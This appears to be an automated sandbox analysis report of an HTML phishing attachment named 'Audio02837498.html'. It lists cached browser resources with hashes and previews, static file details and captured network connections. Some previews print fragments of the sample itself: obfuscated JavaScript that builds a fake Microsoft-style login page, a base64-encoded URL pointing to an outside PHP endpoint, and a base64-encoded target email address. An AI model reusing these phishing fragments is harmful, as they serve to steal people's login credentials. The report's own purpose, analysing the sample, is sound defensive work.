Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65458), with CRLF line terminators
Category:	dropped
Size (bytes):	553312
Entropy (8bit):	4.912120433419705
Encrypted:	false
SSDEEP:	6144:gTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:zay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	D66F1776B6AA9EF7A879022F4F2DA217
SHA1:	00D57A57CB734C473C03FF56C909DCE4AE9121B8
SHA-256:	85C54D45E88104D2FC3BA34A84A5AE4A813D168C86A7A9BE3CA6C6D6561C44AB
SHA-512:	8586C2A1C6B3F1D5456B018BE34F7FBAE3388CF8F34CA8BF30B57C6CC789806772399F5ED3A0C910E69FB529579349FC64F7ACA8604C40BB4B0BF737EBB94731
Malicious:	false
Preview:	var file = "aHR0cHM6Ly9tcm1vbmV5LmFwcGNvdXJ0c2VydmljZXMuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.border-

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (65367), with CRLF line terminators
Entropy (8bit):	3.5055079008985097
TrID:	HTML Application (8008/1) 100.00%
File name:	Audio02837498.html
File size:	120'777 bytes
MD5:	c1a4af7a508a277de35152ac063fd8ce
SHA1:	59e14098aa48df399f10e6ce36913b8b12388cf0
SHA256:	6193af5080ba1cf82619af12e4330a36298119636481caf9e968703bdac9ffb4
SHA512:	c2de0fca5a63b3ed6883ec9833b106fa0d9aa6eacd278fa369e9e152e2cc9cbd3602f95c8f1dd307e71cab5bf1e404094f83d70e1cd27ef2ec1ca48326a3aedf
SSDEEP:	192:V/BGln8YNc3E0PKYclAStw6cAsIcIUZBctXZ+f0crcVJ4+1suaglR1JLDVcrc4ql:30
TLSH:	E7C3196E28CA51E4896337B9DB306CCB7F17F744A0B455ADA936E2CC482C74EE65C708
File Content Preview:	<script>..let rh13z8jemt = 'ZG9uYWxkLmhhcnRtYW5AaW53Zy5jYXAuZ292'; // Do culpa voluptate, magna reprehenderit beef labore minim pork occaecat laborum picanha bresaola...dissentients=~[];dissentients={___:++dissentients,$$$$:(![]+"")[dissentients],__$:++di

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 11:55:09.331208944 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331259966 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331269026 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331331015 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331341982 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331387997 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:09.331446886 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.331474066 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:09.331504107 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:09.339716911 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.339874029 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.339939117 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:09.348067999 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.348192930 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.348273039 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:09.356429100 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:55:09.410780907 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:55:14.419884920 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:14.722824097 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:15.061220884 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:15.061250925 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:15.061332941 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:15.061633110 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:15.061652899 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:15.061706066 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:15.062501907 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:15.062515020 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:15.062660933 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:15.062679052 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:15.063096046 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:15.063141108 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:15.063198090 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:15.063663960 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:15.063677073 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:15.063728094 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:15.063869953 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:15.063889027 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:15.064193964 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:15.064207077 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:15.327651024 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:15.437469006 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:15.437552929 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:15.437653065 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:15.437846899 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:15.437865973 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:16.276721001 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.277147055 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.277185917 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.278630972 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.278707027 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.278738022 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.278768063 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.279943943 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.279978037 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.280040979 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.280060053 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.280710936 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.280828953 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.280904055 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.281181097 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.281210899 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.281419992 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.281480074 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.281493902 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.281548977 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.281605005 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.281620026 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.282711029 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.282788992 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.282861948 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.282875061 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.282893896 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.282924891 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.282963037 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.282991886 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.283243895 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.283252954 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.283715010 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.283806086 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.283830881 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.324640989 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.324657917 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.324687004 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.324920893 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.324956894 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.370532036 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.527843952 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:16.704328060 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.705303907 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.705387115 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.705400944 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.705430031 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.705533981 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.705559015 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.713783026 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713836908 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713871956 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713902950 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713922977 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.713944912 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713958979 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.713970900 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.714011908 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.715177059 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715393066 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715480089 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.715485096 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715514898 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715672970 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715681076 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.715694904 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.715759993 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.717780113 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.717837095 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.717871904 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.717917919 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.717942953 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.717956066 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.717977047 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.718007088 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.718034983 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.718045950 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.721335888 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.721436977 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.721522093 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.721537113 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.721604109 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.722088099 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.723185062 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.726269007 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.726336956 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.726351976 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.727082968 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.730465889 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.730539083 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.730557919 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.731512070 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.731614113 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.731626987 CET	443	49705	104.17.25.14	192.168.2.16
